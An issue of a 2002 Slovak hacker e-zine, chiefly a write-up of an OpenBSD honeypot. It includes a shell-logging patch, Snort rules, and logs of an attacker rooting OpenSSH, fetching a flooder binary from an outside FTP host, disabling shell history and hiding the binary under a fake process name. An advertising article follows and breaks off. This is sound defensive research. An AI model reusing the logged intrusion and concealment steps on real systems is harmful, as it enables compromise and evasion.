::::::::::. :::::::.. :::.,:::::: ::: ... . : `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;; `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[, $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$ 888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM prielom #18, 27.11.02 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/
intro
medove tyzdne s OpenBSD
problemy internetovej reklamy
preco zmeni wifi tvar telekomov
wifi jazda po blave
bezpecne programovanie pod unixom
cerne a bile klobuky
board
tak a hysterka je naspat v plnej sile. hardware je novy a ambicie ostali tie stare – stat sa komunikacnym centrom pocitacoveho undergroundu v nasich koncinach. a predsa este cosi viac. myslim si ze na slovensku a v cechach nam chyba nejaka mienkotvorna identita ktora by bola alternativou k statnemu a firemnemu sektoru. ludia si vytvaraju nazor na rozne veci suvisace s informacnymi technologiami len na zaklade toho co dostanu naservirovane od marketingovych masinerii it firiem, pripadne od nasej vlady. neexistuje ziaden znamejsi zdroj informacii o tychto oblastiach ktory by prezentoval alternativne ci opozicne nazory k tym od spominanych dvoch sektorov. ked napriklad pise novinar v nemecku clanok o digitalnom podpise tak si okrem firemnych zdrojov a prislusneho zakona vramci objektivity precita aj nazor computer chaos clubu ci americkeho electronic frontier foundation. spravit z hysterky nieco na sposob poslednych dvoch spominanych institucii su azda silne reci, ale minimalne je to smer ktorym sa chcem vydat. ak by totiz u nas chcel novinar pisat clanok o digitalnom podpise, precita si len clanok v platku typu “infotrendy” (www.etrend.sk) ktory prislusnemu “autorovi” podstrcilo marketingove oddelenie silnej it firmy (spolu s firemnym trickom s limcekom a firemnym parker perom), pripadne si svoj nazor vytvori na jednej zo smiesnych “it konferencii” ktore sa v cechach a na slovensku robia x-krat do roka a ktore su len pasovou prehliadkou firemnych komercnych prezentacii..
centralny zdroj alternativnych nazorov k oblastiam ktore suvsia s kyberpriestorom – to je moja vizia hysterky v buducnosti ktoru som rozhodnuty budovat. dat dokopy hardware a rozbehnut web bolo to najjednoduchsie (no vlastne ani nie – slova vdaky za vcelku umornu pracu putuju zyxovi a maniacovi :). co bude tazsie je dat dokopy siroku komunitu ludi so spolocnymi konickami a nazormi. preto koncim toto intro s co najuprimnejsie myslenou hlasnou vyzvou: ludia ktori vidite veci inak ako komercny ci vladny sektor a chyba vam komunikacna platforma – ozvite sa mi. nechajte svoj hlas pocut prostrednictvom pevnej ochrannej bariery hysterky.
pajkus, 22.11.02, ruzinov
pred casom sa v roznych interentovych periodikach objavil odkaz na analyzu napadnuteho honeypotu s operacnym systemom OpenBSD 3.0 [1], ktoreho navrh sa mne nie tak celkom pozdaval a podnietil ma, aby som si podobnu situaciu nasimuloval sam a uzil si trochu zabavy. tento clanok popisuje zivotny cyklus projektu a ciastocne je i uvahou na rozne suvisiace temy.
honeypot?
hned na uvod by sme si mali vysvetlit, co to honeypot vlastne je. ako aj samotny preklad anglickeho nazvu napoveda, ide o “nadobku s medom”, avsak nadobou je v tomto prenesenom vyzname hostitelsky pocitac, ci uz fyzicky, virtualny (napr. usermode linux[2]) alebo simulovany (napr. honeyd[3]) a tym medom je operacny system, ktory je umyselne ponechany napospas utocnikom a ako pohar s medom laka svojou vonou k sladkej dobrote, tak ich on snazi prilakat k prieniku do systemu. ak vam to este stale nedava zmysel, dodam, ze takyto system je potom pozornym okom sledovany a utoky su podrobne vyhodnocovane. takymto sposobom je mozne studovat metodiku utocnikov, ziskat nastroje, ktore k prienikom pouzivaju k dalsej analyze a vyvodit z toho patricne dosledky. najznamejsim projektom, ktory je zaroven priekopnikom tejto metody, je The Honeynet Project [4]. ak vas tato tematika zaujala, na ich strankach mozete ziskat mnozstvo relevantnych informacii.
dizajn siete
prave dizajn honeypotu, o ktorom pojednava vyssieuvedena studia, sa mne osobne nepozdaval. autor sa rozhodol, ze samotny system, ktory bolo mozne napadnut, umiestni za firewall do lokalneho ip adresneho pasma, cize nebude mozne sa nan pripojit priamo z internetu a naopak a len presmeroval jeden port, na ktorom bezi derave sshd (OpenSSH z OpenBSD 3.0) na cielovy stroj a prepusta spojenia von. i ked sam priznava, ze bol k takemuto navrhu dotlaceny nedobrovolne, kedze nemal k dispozicii viac ipadries a jeho cielom bolo otestovat, ci je mozne prevadzkovat honeypot aj v takomto prostredi.
prakticky jedina vyhoda, ktoru ziskal je prave ta, ze moze prevadzkovat honeypot aj za situacie, ked moze pouzit len jednu ipadresu a je nuteny posunut dalsie systemy dovnutra lokalnej siete. takyto system vsak nemoze sluzit ako modelovy pripad, kedze utocnik je prakticky “vymknuty” vo vnutri a preniknut naspat inou cestou (backdoor iny ako sshd) je pre neho pomerne narocne. po zbeznom prehliadnuti systemu musi byt utocnikovi taktiez okamzite jasne, ze nie je vsetko uplne v poriadku a moze zacat sipit podozrenie a jednoducho odist a uz sa nevratit. takyto honeypot plni teda len polovicnu funkciu: umozni sledovat a analyzovat situaciu predchadzajucu prieniku a prienik samotny. nie je uz mozne pozorovat dalsie kroky, ktore utocnik moze vykonat s vynimkou jeho tapania na suchu a nasledneho odchodu, ci uz z dovodu toho, ze pojme podozrenie, ze so systemom nie je vsetko v poriadku alebo jednoducho jeho technicke schopnosti nebudu postacovat na prekonanie takejto bariery.
osobne sm sa rozhodol pouzit fyzicky stroj s verejnou ipadresou, kedze taketo riesenie bolo v danej situacii najjednoduchsie a najpriamociarejsie (a nebol som obmedzovany nedostatkom adries).
. Internet . LAN . (tam ziju levy) . . .------->[ monitorovacia stanica (ipfilter) ] . | ^ . | | . snort log, syslog | . | | [ firewall (snort, iptables) ] | . || | . || syslog . ||______________. | . `---------------[ honeypot (sh, syslog) ] .
konfiguracia, logovanie a nastroje
ako operacny system na honeypot som pre zmenu pouzil OpenBSD 3.1, ktory ma po defaultnej instalacii taktiez deravy ssh daemon [5] a vyhradil som si na tento ucel starsi notebook, v ktorom som vymenil disk, aby som si zachoval povodny system a data bez reinstalacie. nainstaloval som nan beznu instalaciu tohto systemu (bez X), vratane ports a doinstaloval som typicke uzivatelske aplikacie, aby system vyzeral byt pouzivany a zaroven poskytol relativne pohodlne prostredie pre utocnika (screen, autotools, wget, etc.). taktiez som vytvoril niekolkych uzivatelov a pocas priprav som niekolko dni vytvaral falosnu aktivitu na tychto kontach ale tiez nie privelmi frekventovanu, aby nebolo podozrive, ze uzivatelia nie su aktivni prave vo chvili, ked bude system napadnuty.
problem, na ktory narazil autor spominanej studie v tejto faze, a sice, ze “nebol schopny pouzit patch, ktory umoznuje po aplikovani na zdrojove kody bash 2.05 logovat uzivatelske prikazy cez syslog, pretoze takyto bash nie je mozne potom spolahlivo pouzit ako /bin/sh (ktory exploit spusta) v systeme OpenBSD” som nemohol brat ako padny argument a vyriesil som to po svojom–napisal som si vlastny. patch pre pdksh, ktory OpenBSD pouziva v sh mode ako /bin/sh a v nativnom mode ako /bin/ksh je prilozeny tu:
--- lex.c.orig Sat Jul 20 16:16:18 2002 +++ lex.c Sat Jul 20 16:07:37 2002 @@ -7,6 +7,9 @@ #include "sh.h" #include <ctype.h> +#ifdef HONEYPOT +#include <syslog.h> +#endif /* Structure to keep track of the lexing state and the various pieces of info * needed for each particular state. @@ -1001,6 +1004,9 @@ char *xp = Xstring(s->xs, xp); int interactive = Flag(FTALKING) && s->type == SSTDIN; int have_tty = interactive && (s->flags & SF_TTY); +#ifdef HONEYPOT + char logbuf[600]; +#endif /* Done here to ensure nothing odd happens when a timeout occurs */ XcheckN(s->xs, xp, LINE); @@ -1080,6 +1086,17 @@ s->start = s->str = Xstring(s->xs, xp); strip_nuls(Xstring(s->xs, xp), Xlength(s->xs, xp)); /* Note: if input is all nulls, this is not eof */ +#ifdef HONEYPOT + if (strlen(Xstring(s->xs, xp)) < 600) + syslog(LOG_LOCAL5 | LOG_INFO, "HISTORY: PID=%d UID=%d %s", + getpid(), getuid(), Xstring(s->xs, xp)); + else { + strncpy(logbuf, Xstring(s->xs, xp), sizeof(logbuf)); + logbuf[sizeof(logbuf) - 1] = ' '; + syslog(LOG_LOCAL5 | LOG_INFO, "HISTORY: PID=%d UID=%d %s(TRUNCATED!)", + getpid(), getuid(), logbuf); + } +#endif if (Xlength(s->xs, xp) == 0) { /* EOF */ if (s->type == SFILE) shf_fdclose(s->u.shf);
tento patch som aplikoval v adresari /usr/src/usr.bin/ksh/ a skompiloval novy shell prikazom: HONEYPOT=1 make a nahradil nim /bin/ksh (/bin/sh je hardlink). jeho ucel je rovnaky ako uz spominaneho patchu pre bash z honeynet.org–logovat prikazy, ktore uzivatel zada shellu cez syslogd s prioritou info.local5.
potencialny utocnik by vsak mohol zabit proces syslogd a musel by som tieto data pracne rekonstruovat z logov zachytenych tcp spojeni na firewalle (tomu som sa nakoniec tak ci tak nevyhol). preto som upravil tiez zdrojove kody syslogd, ktore mi umoznili pustit dve instancie tohto programu sucasne a zaroven nacitavat konfiguraciu z ineho miesta ako je /etc/syslogd.conf. tieto upravy boli trivialne a mozete si ich vypracovat ako domacu ulohu :). takto upraveny syslogd som nakopiroval na miesto, ktore povodne patrilo apmd a povolil jeho spustenie standardnym sposobom v /etc/rc.conf, takze sa po starte tvaril velmi neskodne (kto by preco zabijal advanced power management daemon, vsakze?). tento syslogd posielal vsetky logy cez siet na monitorovaciu stanicu. tym boli upravy na samotnom cielovom stroji kompletne.
na firewalle, ktory oddeluje lokalnu siet od internetu, bol nainstalovany intrusion detection system snort, ktory taktiez posielal data urcene k neskorsej analyze na monitorovaciu stanicu. konfiguracia sa len velmi mierne lisila od standardneho nastavenia, relevantny vynatok z pravidiel je tu:
ruletype honeypot-traffic { type log output log_tcpdump: honeypot-traffic.log } honeypot-traffic tcp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming TCP Traffic";) honeypot-traffic udp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming UDP Traffic";) honeypot-traffic icmp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming ICMP Traffic";) honeypot-traffic tcp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing TCP Traffic";) honeypot-traffic udp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing UDP Traffic";) honeypot-traffic icmp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing ICMP Traffic";)funkcnost je zrejma, loguje vsetky pretecene data smerujuce na a z cieloveho stroja v tcpdump formate. snort samotny uz obsahuje v subore experimental.rules (v case pisania clanku) pravidla na detekciu gobbles exploitu na OpenSSH. $HONEYNET je premenna obsahujuca ipadresu honeypot stroja.
na firewalle samotnom su nastavene dost tuhe pravidla pre paketovy filter (iptables, GNU/Linux), takze som sa neobaval pripadneho napadnutia inych segmentov lokalnej siete a na monitorovacej stanici som zakazal akykolvek traffic z honeypot stroja okrem dat zo syslogu (ipfilter, Solaris). nechcel som pridavat ziadne extra pravidla na firewalle, aby utocnik nedostal pocit, ze je kdesi vymknuty ale zaroven som bol pripraveny odpojit ho od siete, ak by zacal vyvijat aktivitu, ktora by mi mohla sposobit problemy (napadanie dalsich systemov na internete, icmp floodovanie, etc.). este dodam, ze v tomto segmente lokalnej siete sa ziadne dalsie pocitace v tom case nenachadzali.
pre zjednodusenie orientacie bude firewall oznaceny ako ‘firewall’ a honeypot stroj ‘honeypot’, v skutocnosti maju ine mena. realne ipadresy ostatnych pocitacov fugurujucich v logoch boli taktiez pozmenene.
priebeh
na druhy den po spusteni (Jul 20 16:43:41), presnejsie o par hodin, sa objavili prve skeny na ssh a pokracovali i neskor:
Jul 21 04:35:47 honeypot sshd[2192]: Connection from aaa.aa.aa.aa port 2601 Jul 21 04:37:03 honeypot sshd[2192]: Did not receive identification string from aaa.aa.aa.aa ... Jul 21 10:09:59 honeypot sshd[7602]: Connection from bbb.bbb.bbb.bb port 60298 Jul 21 10:09:59 honeypot sshd[7602]: Did not receive identification string from bbb.bbb.bbb.bb ... Jul 22 23:21:48 honeypot sshd[13222]: Connection from ccc.cc.ccc.cc port 1480 Jul 22 23:31:53 honeypot sshd[13222]: fatal: Timeout before authentication for ccc.cc.ccc.cc.
az nakoniec prisiel prvy uspesny utok z adsl klienta kanadskeho poskytovatela pripojenia:
Jul 23 20:42:27 honeypot sshd[14629]: Connection from xxx.xxx.xxx.xx port 32854 Jul 23 20:42:27 honeypot sshd[14629]: Enabling compatibility mode for protocol 2.0 Jul 23 20:42:29 firewall snort: [1:1812:1] EXPERIMENTAL MISC gobbles SSH exploit attempt [Classification: Misc Attack] [Priority: 2]: {TCP} xxx.xxx.xxx.xx:32854 -> honeypot:22 Jul 23 20:42:33 honeypot sshd[14629]: Failed none for root from xxx.xxx.xxx.xx port 32854 ssh2 Jul 23 20:42:33 honeypot sshd[14629]: Postponed keyboard-interactive for root from xxx.xxx.xxx.xx port 32854 ssh2 Jul 23 20:42:40 honeypot sshd[14629]: fatal: buffer_get_string: bad string length 263168 Jul 23 20:42:40 honeypot sshd[14629]: fatal: buffer_get_string: bad string length 263168 Jul 23 20:42:40 firewall snort: [1:1810:1] EXPERIMENTAL MISC successful gobbles ssh exploit (GOBBLE) [Classification: Misc Attack] [Priority: 2]: {TCP} honeypot:22 -> xxx.xxx.xxx.xx:32854 Jul 23 20:42:41 honeypot sh: HISTORY: PID=14629 UID=0 uname -a;id Jul 23 20:42:41 firewall snort: [1:498:3] ATTACK RESPONSES id check returned root [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP} honeypot:22 -> xxx.xxx.xxx.xx:32854 OpenBSD honeypot 3.1 GENERIC#59 i386 uid=0(root) gid=0(wheel) groups=0(wheel)avsak jedine, na co sa dotycny zmohol, bol prikaz w o par minut neskor:
Jul 23 20:51:53 honeypot sh: HISTORY: PID=14629 UID=0 w 8:51PM up 3 days, 4:07, 1 user, load averages: 0.07 , 0.08, 0.08 USER TTY FROM LOGIN@ IDLE WHAT martin C1 - Mon01AM 1day screena nasledne sa odpojil. pravdepodobne sa zlakol uzivatela, ktory bol prihlaseny na konzole a mal idle viac nez den. mal spusteny screen a v nom browser links s natiahnutou strankou google.com. odhlasil som ho a vyckaval dalej..
dalsie skeny sa objavili az o dva dni neskor a sporadicky pokracovali zopar dalsich dni:
Jul 25 19:59:57 honeypot sshd[30]: Connection from ddd.ddd.ddd.ddd port 3292 Jul 25 20:00:52 honeypot sshd[30]: Bad protocol version identification 'M^?M-tM^?M-}^FM^?M-tM^?M-}^Flol' from ddd.ddd.ddd.ddd ... Jul 26 03:52:58 honeypot sshd[17038]: Connection from ee.eee.ee.eee port 3997 Jul 26 04:03:03 honeypot sshd[17038]: fatal: Timeout before authentication for ee.eee.ee.eee. ... Jul 30 12:30:40 honeypot sshd[1748]: Connection from fff.fff.fff.ff port 1817 Jul 30 12:30:40 honeypot sshd[1748]: Did not receive identification string from fff.fff.fff.ff ... Aug 1 06:02:06 honeypot sshd[16014]: Connection from ggg.ggg.gg.ggg port 1901 Aug 1 06:12:06 honeypot sshd[16014]: fatal: Timeout before authentication for ggg.ggg.gg.ggg.
az sa napokon objavil opat nas stary znamy, ktory uz zjavne isiel na istotu:
Aug 1 18:47:26 honeypot sshd[25245]: Connection from xxx.xxx.xxx.xx port 57008 Aug 1 18:47:26 firewall snort: [1:1812:1] EXPERIMENTAL MISC gobbles SSH exploit attempt [Classification: Misc Attack] [Priority: 2]: {TCP} xxx.xxx.xxx.xx:57008 -> honeypot:22 Aug 1 18:47:27 honeypot sshd[25245]: Enabling compatibility mode for protocol 2.0 Aug 1 18:47:29 honeypot sshd[25245]: Failed none for root from xxx.xxx.xxx.xx port 57008 ssh2 Aug 1 18:47:30 honeypot sshd[25245]: Postponed keyboard-interactive for root from xxx.xxx.xxx.xx port 57008 ssh2 Aug 1 18:47:32 honeypot sshd[25245]: fatal: buffer_get_string: bad string length 263168 Aug 1 18:47:32 honeypot sshd[25245]: fatal: buffer_get_string: bad string length 263168 Aug 1 18:47:32 firewall snort: [1:1810:1] EXPERIMENTAL MISC successful gobbles ssh exploit (GOBBLE) [Classification: Misc Attack] [Priority: 2]: {TCP} honeypot:22 -> xxx.xxx.xxx.xx:57008 Aug 1 18:47:32 honeypot sh: HISTORY: PID=25245 UID=0 uname -a;id Aug 1 18:47:32 firewall snort: [1:498:3] ATTACK RESPONSES id check returned root [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP} honeypot:22 -> xxx.xxx.xxx.xx:57008 OpenBSD honeypot 3.1 GENERIC#59 i386 uid=0(root) gid=0(wheel) groups=0(wheel) Aug 1 18:47:36 honeypot sh: HISTORY: PID=25245 UID=0 unset HISTFILE Aug 1 18:47:36 honeypot sh: HISTORY: PID=25245 UID=0 w 6:47PM up 12 days, 2:03, 0 users, load averages: 0.06, 0.08, 0.08 USER TTY FROM LOGIN@ IDLE WHAT Aug 1 18:47:39 honeypot sh: HISTORY: PID=25245 UID=0 ls .cshrc .profile altroot bin boot bsd dev etc home mnt root sbin stand sys tmp usr var Aug 1 18:47:42 honeypot sh: HISTORY: PID=25245 UID=0 ps aux USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 25245 5.8 0.4 384 308 ?? S 6:47PM 0:01.39 //bin/sh root 12177 0.0 0.4 100 352 ?? Is 20Jul02 0:04.46 syslogd root 6530 0.0 0.4 76 292 ?? Is 20Jul02 0:00.02 portmap root 12662 0.0 1.6 1092 1312 ?? Ss 20Jul02 0:51.81 /usr/sbin/htt root 3157 0.0 0.5 763 84 ?? Is 20Jul02 0:00.08 inetd www 24521 0.0 1.1 1092 888 ?? I 20Jul02 0:00.08 /usr/sbin/htt www 1134 0.0 1.1 1092 888 ?? I 20Jul02 0:00.08 /usr/sbin/htt www 17705 0.0 1.1 1092 908 ?? I 20Jul02 0:00.10 /usr/sbin/htt root 28815 0.0 1.0 372 828 ?? Ss 20Jul02 0:19.60 /usr/sbin/ssh root 7345 0.0 0.5 80 368 ?? Ss 20Jul02 0:04.40 (apmd) root 25599 0.0 0.5 224 440 ?? Is 20Jul02 0:05.48 cron root 22711 0.0 0.3 36 256 ?? Is 20Jul02 0:00.01 /usr/sbin/wsm root 649 0.0 0.5 48 408 C2 Is+ 20Jul02 0:00.02 /usr/libexec/ root 22447 0.0 0.5 48 408 C3 Is+ 20Jul02 0:00.02 /usr/libexec/ root 28337 0.0 0.5 48 408 C5 Is+ 20Jul02 0:00.02 /usr/libexec/ root 9662 0.0 1.0 836 784 ?? Ss 20Jul02 1:48.26 sendmail: acc root 5418 0.0 0.5 48 408 C0 Is+ 20Jul02 0:00.02 /usr/libexec/ www 13599 0.0 1.1 1092 892 ?? I 20Jul02 0:00.08 /usr/sbin/htt martin 7115 0.0 1.1 424 856 ?? Is 22Jul02 0:00.23 SCREEN (scree martin 25456 0.0 0.4 392 340 p0 Is 22Jul02 0:00.14 /bin/ksh martin 15687 0.0 1.4 860 1112 p0 I+ 22Jul02 0:00.16 links root 24909 0.0 0.5 48 412 C1 Is+ 23Jul02 0:00.03 /usr/libexec/ www 25082 0.0 1.1 1092 892 ?? I Fri07AM 0:00.05 /usr/sbin/htt www 29217 0.0 1.1 1092 892 ?? I Wed07AM 0:00.03 /usr/sbin/htt www 10007 0.0 1.1 1092 892 ?? I Wed0 7AM 0:00.03 /usr/sbin/htt root 1 0.0 0.0 332 76 ?? Is 22Jul02 0:00.10 /sbin/init Aug 1 18:47:46 honeypot sh: HISTORY: PID=25245 UID=0 w 6:47PM up 12 days, 2:03, 0 users, load averages: 0.06, 0.08, 0.08 USER TTY FROM LOGIN@ IDLE WHAT Aug 1 18:47:51 honeypot sh: HISTORY: PID=25245 UID=0
ocividne ho posmelilo, ze tentokrat uz nenasiel ziadneho nalogovaneho uzivatela a tak sa o chvilku vratil (prazdny prikaz v HISTORY predstavuje ctrl-d) a s chutou sa pustil do prace. nalogoval sa na ftp server urceny pre klientov isteho holandskeho poskytovatela pripojenia a stiahol si nevinne vyzerajuci subor td.doc (ftp spojenie je zrekonstruovane z dat na firewalle):
Aug 1 18:48:01 honeypot sh: HISTORY: PID=25316 UID=0 ftp yy.yy.yy.yy 220 FTP server (Version 7.02 - Yyyyyyyyy 1.1) ready. USER xxxxxx 331 Password required for xxxxxx. PASS xxxxxxxx 230 User xxxxxx logged in. SYST 215 UNIX Type: L8 Version: BSD-199506 TYPE I 200 Type set to I. SIZE td.doc 213 102400 EPSV 500 'EPSV': command not understood. PASV 227 Entering Passive Mode (yy,yy,yy,yy,7,156) RETR td.doc 150 Opening BINARY mode data connection for 'td.doc' (102400 bytes). 226 Transfer complete. MDTM td.doc 213 20020727165925 QUIT 221 Goodbye.(kedze pouzitie tohto ftp konta by mohlo byt povazovane za porusenie zakona z mojej strany, nepokusal som sa nan nalogovat (a v principe ani nebolo cielom patrat po utocnikovi). navyse, samotny binarny subor som ziskal na neskorsiu analyzu priamo na honeypot stroji.)
opat sa porozhliadol, ci sa nahodou, medzitym ako mal spustene ftp, nikto neprihlasil do systemu a vytvoril si subor, ktory zatial nedaval velky zmysel. (“n hodnota” je oblubeny format konfiguracnych suborov pre rootkity odnepamati. v tomto momente som mohol len hadat jeho urcenie. predstavuje 3 skupinu procesov, ktore sa nebudu zobrazovat v prikazoch ps, top a pod. alebo ide o subory, ktore neukaze ls, find, …?).
presunul td.doc do /usr/include/… a na druhy krat sa mu podarilo nastavit spustitelne prava. nakoniec ho spustil, znova sa poobzeral, skontroloval procesy a pokusil sa reattachnut screen. tu by som sa nachvilku zastavil, pretoze toto mi pripadalo zaujimave. utocnik videl, ze v procesoch sa nachadza aj jeden spusteny screen, ktory vsak nebezal uzivatelovi root a navyse screen sa neda spustit bez toho, aby mal k dispozicii tty zaiadenie, takze toto bol pokus o nieco, co v ziadnom pripade nemohlo fungovat. skontroloval sietove spojenia a napokon sa odhlasil:
Aug 1 18:48:28 honeypot sh: HISTORY: PID=25316 UID=0 w 6:48PM up 12 days, 2:04, 0 users, load averages: 0.10, 0.09, 0.08 USER TTY FROM LOGIN@ IDLE WHAT Aug 1 18:48:30 honeypot sh: HISTORY: PID=25316 UID=0 echo "3 ..." >>/dev/sdab Aug 1 18:48:45 honeypot sh: HISTORY: PID=25316 UID=0 echo "3 lpsched" >>/dev/sdab Aug 1 18:48:51 honeypot sh: HISTORY: PID=25316 UID=0 mv td.doc /usr/include/... Aug 1 18:48:56 honeypot sh: HISTORY: PID=25316 UID=0 chmod + /usr/include/... Aug 1 18:49:00 honeypot sh: HISTORY: PID=25316 UID=0 /usr/include/... //bin/sh: /usr/include/...: cannot execute - Permission denied Aug 1 18:49:08 honeypot sh: HISTORY: PID=25316 UID=0 chmod +x /usr/include/... Aug 1 18:49:12 honeypot sh: HISTORY: PID=25316 UID=0 /usr/include/... Aug 1 18:49:13 honeypot sh: HISTORY: PID=25316 UID=0 w 6:49PM up 12 days, 2:05, 0 users, load averages: 0.10, 0.09, 0.08 USER TTY FROM LOGIN@ IDLE WHAT Aug 1 18:49:15 honeypot sh: HISTORY: PID=25316 UID=0 ps aux USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND ... root 9825 0.0 0.4 132 288 ?? S 6:49PM 0:00.01 lpsched (...) Aug 1 18:49:23 honeypot sh: HISTORY: PID=25316 UID=0 screen -r Must be connected to a terminal... Aug 1 18:49:31 honeypot sh: HISTORY: PID=25316 UID=0 netstat -an Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp 0 0 honeypot:22 xxx.xxx.xxx.xx.57010 ESTABLISHED tcp 0 0 *.113 *.* LISTEN tcp 0 0 127.0.0.1.587 *.* LISTEN tcp 0 0 127.0.0.1.25 *.* LISTEN tcp 0 0 *.22 *.* LISTEN tcp 0 0 *.21 *.* LISTEN tcp 0 0 *.80 *.* LISTEN tcp 0 0 127.0.0.1.111 *.* LISTEN tcp 0 0 *.111 *.* LISTEN Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) udp 0 0 *.514 *.* udp 0 0 127.0.0.1.111 *.* udp 0 0 *.111 *.* udp 0 0 *.* *.* Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp6 0 0 ::1.587 *.* LISTEN tcp6 0 0 ::1.25 *.* LISTEN tcp6 0 0 *.22 *.* LISTEN Active UNIX domain sockets Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr 0xe0861004 stream 0 0 0xe7949b78 0x0 0x0 0x0 /home/martin /.links/socket 0xe08610b4 dgram 0 0 0x0 0xe0851cc0 0x0 0xe085a980 0xe08014d0 dgram 0 0 0x0 0xe0851cc0 0x0 0xe0851580 0xe0801b00 dgram 0 0 0x0 0xe0851cc0 0x0 0x0 0xe08019a0 dgram 0 0 0xe793b848 0x0 0xe086e3c0 0x0 /dev/log 0xe0801f20 dgram 0 0 0x0 0xe0851cc0 0x0 0xe0866dc0 0xe0801790 dgram 0 0 0x0 0xe0834900 0x0 0x0 0xe0801000 dgram 0 0 0xe7924e74 0x0 0xe0834680 0x0 /dev/log Aug 1 18:49:42 honeypot sh: HISTORY: PID=25316 UID=0
z vypisu posledneho prikazu ps by sa mohlo zdat, ze je uz jasne, na co sluzi subor /dev/sdab a riadky v nom. opak je vsak pravdou, tento subor totiz vobec nie je otvarany dotycnym binarnym suborom. analyza ukazala, ze sa jedna o mierne poupraveny flooder, znamy pod menom Bubonic.c [6], ktory pouziva fixne argv[] s hodnotou “lpsched” (nie velmi sikovne upraveny, kedze ukazuje aj nazov skutocneho suboru). tieto indicie by naznacovali, ze utocnik sa este chysta nainstalovat nejaky rootkit, ktory sa bude konfigurovat cez /dev/sdab a jednym z cielov je ukryt tento program. kedze okamzite po spusteni zacal generovat znacny icmp traffic, po niekolkych hodinach (Aug 2 02:11:55) vyckavania, ci sa utocnik opat prihlasi, som sa rozhodol jeho cinnost ukoncit.
bol som zvedavy, ci sa este ukaze a bude pokracovat v nacatej praci (stale tam bol subor, ktory nedaval zmysel..) ale kedze sa ani po 4 dnoch neukazal a ja som uz potreboval notebook opat pouzivat, honeypot som definitivne odpojil od siete (Aug 6 08:51:23).
par slov na zaver
s vacsinou veci musim s autorom spominanej analyzy suhlasit. akonahle sa objavia verejne dostupne exploity, ktorych pouzitie je trivialne a nekladie naroky na ich pouzitie, okamzite sa rozsiria medzi pospolity lud. vdacnymi uzivatelmi su najma pocetne skupinky script kiddies, ktorych najvacsou zabavou je floodovanie na irc, ktori potom cele dni skenuju velke casti internetu na zname chyby a masovo ich zneuzivaju. obetou podobneho utoku sa stal aj moj honeypot, comu nasvedcuje icmp flooder a dalsi nezaujem zo strany utocnika (ved podobnych strojov este najde stovky..).
extremne kratka doba, za ktoru bol system odhaleny a mnozstvo skenov, ktore pocas nej prebehli, naznacuje, ze OpenSSH bolo v case pisania clanku v kurze a kto nepatchuje, koleduje si o problemy a ani OpenBSD automaticky neznamena zabezpeceny system. utocnik bol ocividne zamerany (aj) prave na OpenBSD systemy, kedze mal pripravenu staticky linkovanu binarku floodera. jeho rozpacite pocinanie dava tusit, ze vela skusenosti pravdepodobne nema. fakt, ze sa ani nesnazil skryvat, moze znamenat, ze som bol jednoducho jednou z desiatok jeho obeti, ktore po pouziti zahodi a ide zase o serverovnu dalej.
este dodam, ze pocas prevadzkovania honeypotu skoncili v logoch stovky pokusov o prelomenie znamych dier v roznych inych kombinaciach systemov a softveru. prevazovali utoky na chyby v ISS, mnozstvo z nich boli pravdepodobne cervy. taktiez dalsie desiatky az stovky skenov na otvorene proxy servery, samba shares, ci ftp.
honeypoty sa stavaju modnou mainstreamovou zalezitostou. pre utocnikov to castokrat znamena, ze nevedia, ci sa pokusaju naburat do skutocneho deraveho servera, o ktory sa administrator nestara alebo sadaju na lepkavy med sikovne nachystaneho honeypotu. bude istotne zaujimave sledovat ako sa situacia vyvinie. a co vy, uz mate svoj honeypot?
odkazy
salo, salo(at)hysteria.sk
navrat na obsah
velmi velka cast prijmov z internetu hlavne v nasich krajinach (cr a sr) je
zalozena na reklame, vacsinou na bannerovej reklame. jednak tu pomerne uspesne
funguje bartrovy obchod (reklama za kredity) a jednak zobrazovanie impresii za
peniaze. tento clanok by mal byt malym kritickym pohladom na tuto cast trhu.
v prvom rade je vhodne povedat par odlisnosti reklamy internetovej a reklamy v
ostatnych mediach. reklama v beznych mediach sa pomerne tazsie cieli —
zameriava sa dost nepresne na cielove skupiny. zaroven je vsak mozne dopredu
predpokladat (ak nenastane nejaka mimoriadna situacia) velkost cielovej
skupiny. existuju rozne statisticke metody, ktore dovoluju urcite sledovanost,
pripadne citanost daneho media. ovela zlozitejsie je urcit samotnu ucinnost
reklamy (kto si zapamata danu znacku, kto si produkt naozaj kupi, …).
zadavatelia internetovej reklamy ju vedia v kazdom vacsom reklamnom systeme
pomerne dobre cielit. vedia povedat cielovu skupinu (podla toho, ako
odpovedali v anketach, na ake stranky chodia, aky operacny system pouzivaju,
cez akeho poskytovatela pripojenia su pripojeni. zatialco ,,bezna” reklama
cieli reklamu na predpokladanu cielovu skupinu, internetova reklama je cielena
na kazdeho cloveka osobitne.
tu vsak nastava jeden zo zakladnych problemov — preco by som chcel dovolit
nejakemu gigantickemu reklamnemu systemu vediet o mne nejake informacie? na
tento ucel vznikli systemy blokujuce reklamu. jeden z najkrajsich je urcite
junkbuster alebo jednoducho acl listy v squide.
ked je vsak mozne pouzivat sluzbu bez pozerania sa na ich reklamu, nastava tu
dost zasadna otazka: mnozstvo klientov dostava informacie bez pozerania sa na
reklamu. je to ako keby ste si po kupe casopisu carovnym prutikom odcarovali
